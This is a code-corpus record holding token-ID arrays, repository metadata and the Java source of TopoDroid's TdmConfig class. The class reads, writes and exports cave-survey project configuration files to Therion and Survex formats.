3698,
51,
5934,
51,
13305,
51,
22100,
100,
3382,
46,
547,
657,
18334,
45,
114,
100,
111,
5620,
16353,
49,
3698,
51,
5934,
51,
13305,
51,
22100,
100,
3382,
49,
3698,
51,
5934,
51,
13305,
51,
5815,
100,
3382,
49,
3698,
51,
5934,
51,
13305,
51,
22100,
100,
3382,
509,
419,
657,
688,
17211,
15719,
45,
10775,
51,
5934,
51,
2362,
2291,
51,
1735,
19046,
51,
45205,
46,
419,
657,
26446,
45,
3106,
51,
33205,
45,
10775,
51,
5934,
51,
13305,
51,
7759,
51,
6185,
4794,
46,
547,
657,
18334,
45,
29780,
56,
49,
3698,
51,
5934,
51,
13305,
51,
22100,
100,
3382,
49,
3698,
51,
5934,
51,
13305,
51,
5815,
100,
3382,
49,
3698,
51,
5934,
51,
13305,
51,
22100,
100,
3382,
46,
547,
657,
18334,
45,
114,
100,
111,
72,
730,
5620,
27516,
49,
3698,
51,
5934,
51,
13305,
51,
22100,
100,
3382,
49,
3698,
51,
5934,
51,
13305,
51,
5815,
100,
3382,
49,
3698,
51,
5934,
51,
13305,
51,
22100,
100,
3382,
46,
547,
657,
18334,
45,
114,
100,
111,
5620,
27516,
49,
3698,
51,
5934,
51,
13305,
51,
22100,
100,
3382,
49,
3698,
51,
5934,
51,
13305,
51,
5815,
100,
3382,
49,
3698,
51,
5934,
51,
13305,
51,
22100,
100,
3382,
509,
419,
657,
688,
2894,
15719,
45,
61,
49,
13813,
51,
3470,
100,
5986,
509,
310,
1110,
303,
28843,
594,
5739,
50,
8727,
47447,
7155,
50,
3298,
63,
1683,
8176,
465,
964,
782,
614,
8103,
7334,
22791,
45,
1874,
51,
8236,
51,
1585,
51,
18126,
13975,
46,
24167,
7155,
50,
16825,
63,
1585,
100,
111,
8103,
7334,
22791,
310,
364,
100,
111,
37042,
51,
6619,
45,
1710,
312,
310,
364,
100,
111,
4236,
51,
26623,
1301,
45,
53,
312,
310,
364,
100,
111,
72,
730,
577,
51,
26623,
1301,
45,
53,
312,
310,
364,
100,
111,
72,
730,
5620,
16353,
51,
26623,
1301,
45,
53,
312,
310,
364,
100,
111,
72,
730,
5620,
27516,
51,
26623,
1301,
45,
53,
312,
310,
364,
100,
111,
577,
51,
6619,
45,
1710,
312,
310,
364,
100,
111,
5620,
16353,
51,
6619,
45,
1710,
312,
310,
364,
100,
111,
5620,
27516,
51,
6619,
45,
1710,
312,
303,
28843,
7155,
50,
14388,
63,
1585,
100,
111,
8103,
7334,
22791,
303,
23147,
453,
19949,
13317,
449,
764,
666,
5370,
325,
7155,
50,
12188,
63,
9605,
303,
964,
3698,
51,
5934,
51,
32880,
614,
8103,
7334,
64,
303,
964,
3698,
51,
5934,
51,
22786,
26133,
54,
64,
303,
964,
3698,
51,
5934,
51,
22786,
26133,
55,
64,
303,
964,
3698,
51,
5934,
51,
22786,
26133,
56,
64,
303,
964,
3698,
51,
5934,
51,
22786,
26133,
57,
64,
303,
964,
3698,
51,
5934,
51,
22786,
26133,
58,
64,
303,
964,
3698,
51,
5934,
51,
22786,
26133,
59,
64,
303,
964,
3698,
51,
5934,
51,
31845,
364,
100,
111,
37042,
64,
303,
964,
3698,
51,
5934,
51,
79,
11248,
364,
100,
111,
4236,
64,
303,
964,
3698,
51,
5934,
51,
79,
11248,
364,
100,
111,
72,
730,
577,
64,
303,
964,
3698,
51,
5934,
51,
79,
11248,
364,
100,
111,
72,
730,
5620,
16353,
64,
303,
964,
3698,
51,
5934,
51,
79,
11248,
364,
100,
111,
72,
730,
5620,
27516,
64,
303,
964,
3698,
51,
5934,
51,
31845,
364,
100,
111,
577,
64,
303,
964,
3698,
51,
5934,
51,
31845,
364,
100,
111,
5620,
16353,
64,
303,
964,
3698,
51,
5934,
51,
31845,
364,
100,
111,
5620,
27516,
64,
303,
964,
3698,
51,
5934,
51,
79,
11248,
364,
100,
111,
17612,
64,
303,
453,
4733,
451,
4918,
13317,
325,
7155,
50,
3298,
63,
9605,
294,
222,
130,
222
] |
[
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
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
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
]
] | 5,067
| true
| 65.783216
| true
| true
|
TdmConfig.java
|
/FileExtraction/Java_unseen/marcocorvi_topodroid/src/com/topodroid/tdm/TdmConfig.java
|
/** @file TdmConfig.java
*
* @author marco corvi
* @date nov 2011
*
* @brief TopoDroid Manager cave-project object
* --------------------------------------------------------
* Copyright This software is distributed under GPL-3.0 or later
* See the file COPYING.
* --------------------------------------------------------
*/
package com.topodroid.tdm;
import com.topodroid.utils.TDLog;
import com.topodroid.utils.TDFile;
import com.topodroid.utils.TDVersion;
import com.topodroid.utils.TDUtil;
import com.topodroid.utils.TDString;
import com.topodroid.TDX.TglColor;
// import java.io.File;
import java.io.IOException;
// import java.io.FileNotFoundException;
// import java.io.FileWriter;
// import java.io.FileReader;
import java.io.BufferedReader;
import java.io.BufferedWriter;
import java.io.PrintWriter;
import java.util.ArrayList;
// import java.util.Date;
// import java.text.SimpleDateFormat;
// import java.util.Locale;
import java.util.Iterator;
class TdmConfig extends TdmFile
{
// String mParentDir; // parent directory
String mSurveyName;
// TdmSurvey mSurvey; // inline survey in the tdconfig file TODO UNUSED
private ArrayList< TdmSurvey > mViewSurveys = null; // current view surveys
private ArrayList< TdmInput > mInputs; // input surveys
private ArrayList< TdmEquate > mEquates;
private boolean mRead; // whether this Tdm_Config has read the file
private boolean mSave; // whether this Tdm_Config needs to be saved
/** cstr
* @param filepath ...
* @param save ...
*/
public TdmConfig( String filepath, boolean save )
{
super( filepath, null );
// TDLog.v("Tdm_Config cstr filepath " + filepath );
// mParentDir = (new File( filepath )).getParentFile().getName() + "/";
// mSurvey = null;
mInputs = new ArrayList< TdmInput >();
mEquates = new ArrayList< TdmEquate >();
mRead = false;
mSave = save;
mSurveyName = getNameFromFilepath( filepath );
}
/** @return the survey name
*/
public String getSurveyName() { return mSurveyName; }
/** create and populate the list of survey-views
* @param surveys surveys
*/
void populateViewSurveys( ArrayList< TdmSurvey > surveys )
{
mViewSurveys = new ArrayList< TdmSurvey >(); // current view surveys
for ( TdmSurvey survey : surveys ) {
// TDLog.v("Populate survey " + survey.getName() );
survey.reduce();
mViewSurveys.add( survey );
}
}
/** drop the equates with a given survey
* @param survey survey
*/
void dropEquates( String survey )
{
// TDLog.v("drop equates with " + survey + " before " + mEquates.size() );
if ( survey == null || survey.length() == 0 ) return;
ArrayList< TdmEquate > equates = new ArrayList<>();
for ( TdmEquate equate : mEquates ) {
if ( equate.dropStations( survey ) > 1 ) {
equates.add( equate );
setSave();
}
}
mEquates = equates;
// TDLog.v("dropped equates with " + survey + " after " + mEquates.size() );
}
/** insert an equate
* @param equate equate
*/
void addEquate( TdmEquate equate )
{
if ( equate == null ) return;
mEquates.add( equate );
setSave();
// TDLog.v("nr. equates " + mEquates.size() );
}
/** unconditionally remove an equate
* @param equate equate to remove
*/
void removeEquate( TdmEquate equate )
{
mEquates.remove( equate );
setSave();
}
/** @return true if the cave-project has a given input
* @param name input survey name
*/
boolean hasInput( String name )
{
if ( name == null ) return false;
// TDLog.v("Tdm_Config check input name " + name );
for ( TdmInput input : mInputs ) {
// TDLog.v("Tdm_Config check input " + input.mName );
if ( name.equals( input.getSurveyName() ) ) return true;
}
return false;
}
/** @return the last array index with name after the given string (0 if array is empty, the array-length if all name are before the given string)
* @param name given string
*/
private int getInputIndex( String name )
{
int len = mInputs.size();
if ( len == 0 ) {
// TDLog.v(name + " in [len 0] -> 0" );
return 0;
}
TdmInput input = mInputs.get( len-1 );
if ( len == 1 ) {
return ( input.getName().compareToIgnoreCase( name ) <= 0 )? 1 : 0;
// TDLog.v(name + " in [len 1]: " + input.getName() + " -> " + ret );
// return ret;
}
if ( input.getName().compareToIgnoreCase( name ) <= 0 ) {
// TDLog.v(name + " in [len " + len + "]: last " + input.getName() + " -> " + len );
return len;
}
input = mInputs.get( 0 );
if ( input.getName().compareToIgnoreCase( name ) > 0 ) {
// TDLog.v(name + " in [len " + len + "]: first " + input.getName() + " -> " + 0 );
return 0;
}
int a1 = 0;
int a2 = len;
while ( a1+1 < a2 ) {
int a = (a1 + a2)/2;
input = mInputs.get( a );
if ( input.getName().compareToIgnoreCase( name ) <= 0 ) { a1 = a; } else { a2 = a; }
}
// LOG
// StringBuilder names = new StringBuilder();
// names.append(name).append( " in [len " + len + "]: " );
// for ( int i=0; i<len; ++i ) names.append(" ").append( mInputs.get(i).getName() );
// names.append(" -> ").append(a2);
// TDLog.v( names.toString() );
return a2;
}
// DEBUG
// void printInputs()
// {
// int len = mInputs.size();
// StringBuilder names = new StringBuilder();
// names.append( "INPUTS [len " + len + "]: " );
// for ( int i=0; i<len; ++i ) names.append(" ").append( mInputs.get(i).getName() );
// TDLog.v( names.toString() );
// }
/** insert an input
* @param name input name
* @param color input color
* @note this is called by readFile
*/
private void insertInput( String name, int color )
{
if ( name == null ) return;
// TDLog.v( "insert input " + name );
int at = getInputIndex( name );
mInputs.add( at, new TdmInput( name, color ) );
}
/** insert an input
* @param input input
* @note this is called by the Config activity
*/
void addInput( TdmInput input )
{
if ( input == null ) return;
// TDLog.v( "add input " + input.mName );
int at = getInputIndex( input.getName() );
mInputs.add( at, input );
setSave();
}
/** @return the input at a given position in the array of inputs
* @param pos input position
*/
TdmInput getInputAt( int pos ) { return mInputs.get(pos); }
/** @return the input with the given name
* @param name input name
*/
TdmInput getInput( String name )
{
for ( TdmInput input : mInputs ) {
if ( input.getSurveyName().equals( name ) ) return input;
}
return null;
}
/** @return an iterator on the inputs
*/
Iterator getInputsIterator() { return mInputs.iterator(); }
/** @return the number of inputs
*/
int getInputsSize() { return mInputs.size(); }
/** @return the array of inputs
*/
ArrayList< TdmInput > getInputs() { return mInputs; }
/** @return the array of survey views
*/
ArrayList< TdmSurvey > getViewSurveys() { return mViewSurveys; }
/** @return the array of equates
*/
ArrayList< TdmEquate > getEquates() { return mEquates; }
/** remove an input
* @param name input name
*/
private void dropInput( String name )
{
if ( name == null ) return;
// TDLog.v( "drop input " + name );
for ( TdmInput input : mInputs ) {
if ( name.equals( input.getSurveyName() ) ) {
mInputs.remove( input );
setSave();
return;
}
}
}
/** remove an input
* @param input TdmInput to romove
*/
public void dropInput( TdmInput input )
{
mInputs.remove( input );
}
// /** remove chacked inputs UNUSED
// */
// public void dropChecked( )
// {
// final Iterator it = mInputs.iterator();
// while ( it.hasNext() ) {
// TdmInput input = (TdmInput) it.next();
// if ( input.isChecked() ) {
// mInputs.remove( input );
// }
// }
// }
/** set the array of inputs
* @param inputs array of inputs
* @note this is called by the Config Activity
*/
void setInputs( ArrayList< TdmInput > inputs )
{
if ( inputs != null ) {
// TDLog.v( "set inputs " + inputs.size() );
mInputs = inputs;
setSave();
}
}
/** set the "save" flag
* @note used also by Config Activity when a source is added
*/
void setSave() { mSave = true; }
// ---------------------------------------------------------------
// this is TDUtil.currentDate()
// static String currentDate()
// {
// SimpleDateFormat sdf = new SimpleDateFormat( "yyyy.MM.dd", Locale.US );
// return sdf.format( new Date() );
// }
// ---------------------------------------------------------------
// this is called by the TdmConfigActivity when it goes on pause
/** write the cave project info to the tdconfig file
* @param force whether to force writing
* @return true if file has been successfully written
*/
boolean writeTdmConfig( boolean force )
{
// TDLog.v( "save tdconfig " + this + " save " + mSave + " force " + force );
boolean ret = false;
if ( mSave || force ) { // was mRead || force
String filepath = getFilepath();
try {
BufferedWriter bw = TDFile.getTopoDroidFileWriter( filepath );
PrintWriter pw = new PrintWriter( bw );
writeTd( pw );
bw.close(); // close the stream flushing it first
ret = true;
} catch ( IOException e ) {
TDLog.Error("Tdm Config write file " + filepath + " I/O error " + e.getMessage() );
}
mSave = false;
}
return ret;
}
/** read the cave project info from the tdconfig file
* @note the file is read only once - if already read it is skipped
*/
void readTdmConfig()
{
// TDLog.v( "read tdconfig " + this + " " + mRead );
if ( mRead ) return;
readFile();
mRead = true;
}
// ---------------------------------------------------------
// READ and WRITE
/** write the cave project info to a tdconfig file
* @param pw file writer
*/
private void writeTd( PrintWriter pw ) throws IOException
{
// TDLog.v("save config " + mSurveyName );
pw.format("# created by TopoDroid Manager %s - %s\n", TDVersion.string(), TDUtil.currentDate() );
pw.format("source\n");
pw.format(" survey \"%s\"\n", mSurveyName );
for ( TdmInput input : mInputs ) {
// FIXME path
String path = input.getSurveyName();
// TDLog.v("config write add survey <" + path + ">" );
pw.format(" load \"%s\" -color %d\n", path, (input.getColor() & 0xffffff) );
}
for ( TdmEquate equate : mEquates ) {
pw.format(" equate");
for ( String st : equate.mStations ) pw.format(" \"%s\"", st );
pw.format("\n");
}
pw.format(" endsurvey\n");
pw.format("endsource\n");
}
/** extract the project name from a filepath
* @param filepath file pathname
* @return the project name, ie, the name before the extension (namely ".tdconfig")
*/
private String getNameFromFilepath( String filepath )
{
int start = filepath.lastIndexOf('/') + 1;
int end = filepath.lastIndexOf('.');
return ( end > start )? filepath.substring( start, end ) : filepath.substring( start );
}
/** read the config file
* @note if the file does not exist creates it and write an empty tdconfig file
*/
private void readFile( )
{
String filepath = getFilepath();
try {
BufferedReader br = TDFile.getTopoDroidFileReader( filepath );
if ( br == null ) { // file does not exist (or is not readable)
TDLog.Error("file no-exist or no-read: " + filepath );
mSurveyName = getNameFromFilepath( filepath );
writeTdmConfig( true );
return;
}
// TDLog.v( "read config " + filepath );
String line = br.readLine();
int cnt = 1;
// TDLog.v( Integer.toString(cnt) + ":" + line );
while ( line != null ) {
line = line.trim();
int pos = line.indexOf( '#' );
if ( pos >= 0 ) line = line.substring( 0, pos );
if ( line.length() > 0 ) {
String[] vals = TDString.splitOnStrings( line );
if ( vals.length > 0 ) {
if ( vals[0].equals( "source" ) ) {
} else if ( vals[0].equals( "survey" ) ) {
for (int k=1; k<vals.length; ++k ) {
if ( vals[k].length() > 0 ) {
mSurveyName = vals[k];
break;
}
}
} else if ( vals[0].equals( "load" ) ) {
for (int k=1; k<vals.length; ++k ) {
// TDLog.v("vals[" + k + "]: <" + vals[k] );
if ( vals[k].length() > 0 ) {
String surveyname = vals[k];
int color = TglColor.getSurveyColor(); // random color
for ( ++k; k<vals.length; ++k ) {
if ( vals[k].length() > 0 ) {
if ( vals[k].equals("-color") ) {
++k;
if ( k < vals.length ) {
color = 0xff000000 | Integer.parseInt( vals[k] );
}
}
// break;
}
}
insertInput( surveyname, color );
break;
}
}
} else if ( vals[0].equals( "include" ) ) {
String config_name = vals[1];
// TODO include a tdconfig file
} else if ( vals[0].equals( "equate" ) ) {
TdmEquate equate = new TdmEquate();
for (int k=1; k<vals.length; ++k ) {
if ( vals[k].length() > 0 ) {
equate.addStation( vals[k] );
}
}
mEquates.add( equate );
}
}
}
line = br.readLine();
++ cnt;
}
br.close();
} catch ( IOException e ) {
// TODO
TDLog.Error( "TdManager exception " + e.getMessage() );
}
// TDLog.v( "Tdm_Config read file: nr. sources " + getInputsSize() );
}
// ---------------------------------------------------------
// EXPORT
/** export the project to therion format
* @param overwrite whether to overwrite the output file (if it exists)
* @param bw buffered writer
* @return non-null string if success
*/
String exportTherion( boolean overwrite, PrintWriter bw ) throws IOException
{
bw.format("# created by TopoDroid Manager %s - %s\n", TDVersion.string(), TDUtil.currentDate() );
bw.format("source\n");
bw.format(" survey \"%s\"\n", mSurveyName );
for ( TdmInput input : mInputs ) {
// FIXME path
String path = "../th/" + input.getSurveyName() + ".th";
// TDLog.v("config write add survey " + path );
bw.format(" input \"%s\"\n", path );
}
for ( TdmEquate equate : mEquates ) {
bw.format(" equate");
for ( String st : equate.mStations ) bw.format(" \"%s\"", st );
bw.format("\n");
}
bw.format(" endsurvey\n");
bw.format("endsource\n");
return "thconfig";
}
/** export the project to survex format
* @param overwrite whether to overwrite the output file (if it exists)
* @param bw buffered writer
* @return non-null string if success
*/
String exportSurvex( boolean overwrite, PrintWriter bw ) throws IOException
{
bw.format("; created by TopoDroid Manager %s - %s\n", TDVersion.string(), TDUtil.currentDate() );
// TODO EXPORT
for ( TdmInput s : mInputs ) {
String path = "../svx/" + s.getSurveyName() + ".svx";
bw.format("*include \"%s\"\n", path );
}
for ( TdmEquate equate : mEquates ) {
bw.format("*equate");
for ( String st : equate.mStations ) bw.format(" \"%s\"", toSvxStation( st ) );
bw.format("\n");
}
return "survex";
}
/** convert a station name from therion to survex syntax
* @param st therion name of the station
* @return survex name of the station
*/
private String toSvxStation( String st )
{
int pos = st.indexOf('@');
return st.substring(pos+1) + "." + st.substring(0,pos);
}
}
| 16,444
|
Java
|
.java
|
marcocorvi/topodroid
| 50
| 26
| 2
|
2015-03-13T08:09:28Z
|
2024-05-06T20:19:51Z
|
832fe07c0d23fed3c33f99a338204a7febf18ff8b3ce83d422a7aa385376a27b
|
[
1350,
496,
781,
413,
6570,
1081,
51,
1874,
222,
338,
222,
338,
496,
2133,
11633,
352,
6715,
4811,
222,
338,
496,
787,
28086,
244,
55,
53,
54,
54,
222,
338,
222,
338,
496,
5313,
9068,
116,
47413,
10706,
46089,
50,
2268,
1319,
222,
338,
17632,
222,
338,
244,
2657,
1369,
2951,
458,
2744,
1549,
23508,
50,
56,
51,
53,
575,
6146,
222,
338,
244,
2819,
341,
822,
39543,
51,
222,
338,
17632,
222,
588,
222,
1337,
785,
51,
1412,
450,
1647,
51,
689,
114,
64,
222,
222,
485,
785,
51,
1412,
450,
1647,
51,
2324,
51,
3202,
1353,
64,
222,
485,
785,
51,
1412,
450,
1647,
51,
2324,
51,
3202,
991,
64,
222,
485,
785,
51,
1412,
450,
1647,
51,
2324,
51,
3202,
2080,
64,
222,
485,
785,
51,
1412,
450,
1647,
51,
2324,
51,
3202,
1747,
64,
222,
485,
785,
51,
1412,
450,
1647,
51,
2324,
51,
3202,
671,
64,
222,
485,
785,
51,
1412,
450,
1647,
51,
3202,
93,
51,
89,
1861,
1530,
64,
222,
222,
325,
1220,
1401,
51,
735,
51,
991,
64,
222,
485,
1401,
51,
735,
51,
6860,
64,
222,
325,
1220,
1401,
51,
735,
51,
27322,
64,
222,
325,
1220,
1401,
51,
735,
51,
36202,
64,
222,
325,
1220,
1401,
51,
735,
51,
33167,
64,
222,
485,
1401,
51,
735,
51,
35094,
64,
222,
485,
1401,
51,
735,
51,
17640,
3989,
64,
222,
485,
1401,
51,
735,
51,
42446,
64,
222,
222,
485,
1401,
51,
1058,
51,
7119,
64,
222,
325,
1220,
1401,
51,
1058,
51,
1563,
64,
222,
325,
1220,
1401,
51,
897,
51,
41033,
64,
222,
325,
1220,
1401,
51,
1058,
51,
9459,
64,
222,
485,
1401,
51,
1058,
51,
5740,
64,
222,
222,
842,
413,
6570,
1081,
2041,
413,
6570,
991,
222,
128,
353,
453,
910,
364,
4449,
2995,
64,
1485,
453,
2952,
3378,
353,
910,
364,
26570,
577,
64,
353,
453,
413,
6570,
26570,
364,
26570,
64,
2429,
453,
4467,
22142,
347,
341,
12073,
1180,
822,
4314,
6419,
9211,
353,
964,
5068,
65,
413,
6570,
26570,
868,
364,
1089,
12404,
40330,
299,
762,
64,
453,
1565,
2221,
6197,
40330,
353,
964,
5068,
65,
413,
6570,
1630,
868,
244,
364,
13716,
64,
453,
1533,
6197,
40330,
353,
964,
5068,
65,
413,
6570,
26576,
351,
868,
364,
26576,
1218,
64,
353,
964,
1922,
364,
2248,
64,
370,
453,
4962,
477,
413,
6570,
100,
1081,
1421,
1511,
341,
822,
353,
964,
1922,
364,
5134,
64,
370,
453,
4962,
477,
413,
6570,
100,
1081,
5669,
391,
545,
7533,
736,
1041,
300,
484,
682,
338,
496,
772,
16780,
2437,
682,
338,
496,
772,
4166,
281,
2437,
682,
588,
353,
581,
413,
6570,
1081,
45,
910,
16780,
49,
1922,
4166,
848,
353,
320,
303,
2615,
45,
16780,
49,
762,
1110,
303,
453,
36032,
1353,
51,
123,
459,
89,
6570,
100,
1081,
300,
484,
16780,
332,
494,
16780,
1110,
303,
453,
364,
4449,
2995,
299,
327,
909,
2050,
45,
16780,
244,
3445,
18777,
991,
941,
5175,
365,
494,
2450,
884,
303,
453,
364,
26570,
283,
299,
762,
64,
303,
364,
13716,
283,
299,
556,
5068,
65,
413,
6570,
1630,
46102,
303,
364,
26576,
1218,
280,
299,
556,
5068,
65,
413,
6570,
26576,
351,
46102,
303,
364,
2248,
665,
299,
920,
64,
303,
364,
5134,
665,
299,
4166,
64,
303,
364,
26570,
577,
299,
16389,
20196,
1005,
45,
16780,
1110,
353,
339,
736,
1041,
496,
620,
341,
22142,
655,
682,
588,
353,
581,
910,
640,
26570,
577,
365,
320,
461,
364,
26570,
577,
64,
339,
736,
1041,
1506,
480,
18985,
341,
1168,
451,
22142,
50,
4361,
682,
338,
496,
772,
6197,
40330,
280,
6197,
40330,
682,
588,
353,
782,
18985,
1089,
12404,
40330,
45,
5068,
65,
413,
6570,
26570,
868,
6197,
40330,
848,
353,
320,
303,
364,
1089,
12404,
40330,
299,
556,
5068,
65,
413,
6570,
26570,
46102,
453,
1565,
2221,
6197,
40330,
303,
456,
327,
413,
6570,
26570,
22142,
518,
6197,
40330,
848,
320,
416,
453,
36032,
1353,
51,
123,
459,
45593,
22142,
332,
494,
22142,
51,
5175,
365,
1110,
416,
22142,
51,
8957,
492,
416,
364,
1089,
12404,
40330,
51,
688,
45,
22142,
1110,
303,
339,
353,
339,
736,
1041,
6310,
341,
15688,
1218,
642,
331,
2716,
22142,
682,
338,
496,
772,
22142,
283,
22142,
682,
588,
353,
782,
6310,
26576,
1218,
45,
910,
22142,
848,
353,
320,
303,
453,
36032,
1353,
51,
123,
459,
3850,
15688,
1218,
642,
332,
494,
22142,
494,
332,
2688,
332,
494,
364,
26576,
1218,
51,
911,
365,
1110,
303,
434,
327,
22142,
630,
762,
1293,
22142,
51,
1340,
365,
630,
244,
53,
848,
461,
64,
303,
5068,
65,
413,
6570,
26576,
351,
868,
15688,
1218,
299,
556,
5068,
6984,
303,
456,
327,
413,
6570,
26576,
351,
15688,
351,
518,
364,
26576,
1218,
848,
320,
416,
434,
327,
15688,
351,
51,
3850,
520,
1014,
45,
22142,
848,
868,
244,
54,
848,
320,
310,
15688,
1218,
51,
688,
45,
15688,
351,
1110,
310,
758,
5134,
492,
416,
339,
303,
339,
303,
364,
26576,
1218,
299,
15688,
1218,
64,
303,
453,
36032,
1353,
51,
123,
459,
105,
13733,
15688,
1218,
642,
332,
494,
22142,
494,
332,
2703,
332,
494,
364,
26576,
1218,
51,
911,
365,
1110,
353,
339,
736,
1041,
5567,
619,
15688,
351,
682,
338,
496,
772,
15688,
351,
244,
15688,
351,
682,
588,
353,
782,
1035,
26576,
351,
45,
413,
6570,
26576,
351,
15688,
351,
848,
5246,
320,
303,
434,
327,
15688,
351,
630,
762,
848,
461,
64,
303,
364,
26576,
1218,
51,
688,
45,
15688,
351,
1110,
303,
758,
5134,
492,
303,
453,
36032,
1353,
51,
123,
459,
9490,
51,
15688,
1218,
332,
494,
364,
26576,
1218,
51,
911,
365,
1110,
353,
339,
736,
1041,
725,
4759,
1266,
3365,
619,
15688,
351,
682,
338,
496,
772,
15688,
351,
244,
15688,
351,
391,
3365,
682,
588,
353,
782,
3365,
26576,
351,
45,
413,
6570,
26576,
351,
15688,
351,
848,
5246,
320,
3751,
364,
26576,
1218,
51,
2564,
45,
15688,
351,
1110,
303,
758,
5134,
492,
353,
339,
21248,
1041,
496,
620,
878,
434,
341,
46089,
50,
2268,
1421,
331,
2716,
1533,
682,
338,
496,
772,
655,
280,
1533,
22142,
655,
682,
588,
353,
1922,
1421,
1630,
45,
910,
655,
848,
353,
320,
303,
434,
327,
655,
630,
762,
848,
461,
920,
64,
303,
453,
36032,
1353,
51,
123,
459,
89,
6570,
100,
1081,
1524,
1533,
655,
332,
494,
655,
1110,
303,
456,
327,
413,
6570,
1630,
1533,
518,
364,
13716,
848,
320,
416,
453,
36032,
1353,
51,
123,
459,
89,
6570,
100,
1081,
1524,
1533,
332,
494,
1533,
51,
114,
577,
1110,
416,
434,
327,
655,
51,
3591,
45,
1533,
51,
390,
26570,
577,
365,
848,
848,
461,
878,
64,
303,
339,
303,
461,
920,
64,
353,
339,
736,
1041,
496,
620,
341,
2419,
1437,
1671,
642,
655,
2703,
341,
2716,
821,
327,
53,
434,
1437,
458,
3517,
49,
341,
1437,
50,
1340,
434,
1187,
655,
904,
2688,
341,
2716,
821,
46,
682,
338,
496,
772,
655,
244,
2716,
821,
682,
588,
353,
964,
648,
640,
1630,
1301,
45,
910,
655,
848,
353,
320,
303,
648,
2095,
299,
364,
13716,
51,
911,
492,
303,
434,
327,
2095,
630,
244,
53,
848,
320,
416,
453,
36032,
1353,
51,
123,
45,
444,
494,
332,
347,
447,
1688,
244,
53,
98,
984,
244,
53,
39,
1110,
416,
461,
244,
53,
64,
303,
339,
303,
413,
6570,
1630,
1533,
299,
364,
13716,
51,
390,
45,
2095,
50,
54,
1110,
303,
434,
327,
2095,
630,
244,
54,
848,
320,
416,
461,
327,
1533,
51,
5175,
941,
23879,
13919,
45,
655,
848,
2527,
244,
53,
848,
68,
244,
54,
518,
244,
53,
64,
416,
453,
36032,
1353,
51,
123,
45,
444,
494,
332,
347,
447,
1688,
244,
54,
2805,
332,
494,
1533,
51,
5175,
365,
494,
332,
984,
332,
494,
2170,
1110,
416,
453,
461,
2170,
64,
303,
339,
303,
434,
327,
1533,
51,
5175,
941,
23879,
13919,
45,
655,
848,
2527,
244,
53,
848,
320,
416,
453,
36032,
1353,
51,
123,
45,
444,
494,
332,
347,
447,
1688,
332,
494,
2095,
494,
332,
2805,
2419,
332,
494,
1533,
51,
5175,
365,
494,
332,
984,
332,
494,
2095,
1110,
416,
461,
2095,
64,
303,
339,
303,
1533,
299,
364,
13716,
51,
390,
45,
244,
53,
1110,
303,
434,
327,
1533,
51,
5175,
941,
23879,
13919,
45,
655,
848,
868,
244,
53,
848,
320,
416,
453,
36032,
1353,
51,
123,
45,
444,
494,
332,
347,
447,
1688,
332,
494,
2095,
494,
332,
2805,
1950,
332,
494,
1533,
51,
5175,
365,
494,
332,
984,
332,
494,
244,
53,
1110,
416,
461,
244,
53,
64,
303,
339,
303,
648,
331,
54,
299,
244,
53,
64,
303,
648,
331,
55,
299,
2095,
64,
303,
2236,
327,
331,
54,
48,
54,
350,
331,
55,
848,
320,
416,
648,
331,
299,
327,
102,
54,
494,
331,
55,
4201,
55,
64,
416,
1533,
299,
364,
13716,
51,
390,
45,
331,
1110,
416,
434,
327,
1533,
51,
5175,
941,
23879,
13919,
45,
655,
848,
2527,
244,
53,
848,
320,
331,
54,
299,
331,
64,
339,
832,
320,
331,
55,
299,
331,
64,
339,
303,
339,
303,
453,
5784,
303,
453,
9705,
4492,
299,
556,
9705,
492,
303,
453,
4492,
51,
1713,
45,
444,
566,
1713,
45,
332,
347,
447,
1688,
332,
494,
2095,
494,
332,
2805,
332,
1110,
303,
453,
456,
327,
648,
613,
66,
53,
64,
613,
65,
1688,
64,
3323,
110,
848,
4492,
51,
1713,
459,
18267,
1713,
45,
364,
13716,
51,
390,
45,
110,
566,
5175,
365,
1110,
303,
453,
4492,
51,
1713,
459,
984,
18267,
1713,
45,
102,
55,
312,
303,
453,
36032,
1353,
51,
123,
45,
4492,
51,
3127,
365,
1110,
465,
461,
331,
55,
64,
353,
339,
31768,
453,
9404,
353,
453,
782,
1489,
13716,
365,
353,
453,
320,
353,
453,
280,
648,
2095,
299,
364,
13716,
51,
911,
492,
353,
453,
280,
9705,
4492,
299,
556,
9705,
492,
353,
453,
280,
4492,
51,
1713,
45,
332,
10834,
88,
447,
1688,
332,
494,
2095,
494,
332,
2805,
332,
1110,
353,
453,
280,
456,
327,
648,
613,
66,
53,
64,
613,
65,
1688,
64,
3323,
110,
848,
4492,
51,
1713,
459,
18267,
1713,
45,
364,
13716,
51,
390,
45,
110,
566,
5175,
365,
1110,
353,
453,
280,
36032,
1353,
51,
123,
45,
4492,
51,
3127,
365,
1110,
353,
453,
339,
736,
1041,
5567,
619,
1533,
682,
338,
496,
772,
655,
244,
1533,
655,
682,
338,
496,
772,
1989,
1533,
1989,
682,
338,
496,
5774,
477,
458,
3845,
829,
43003,
682,
588,
353,
964,
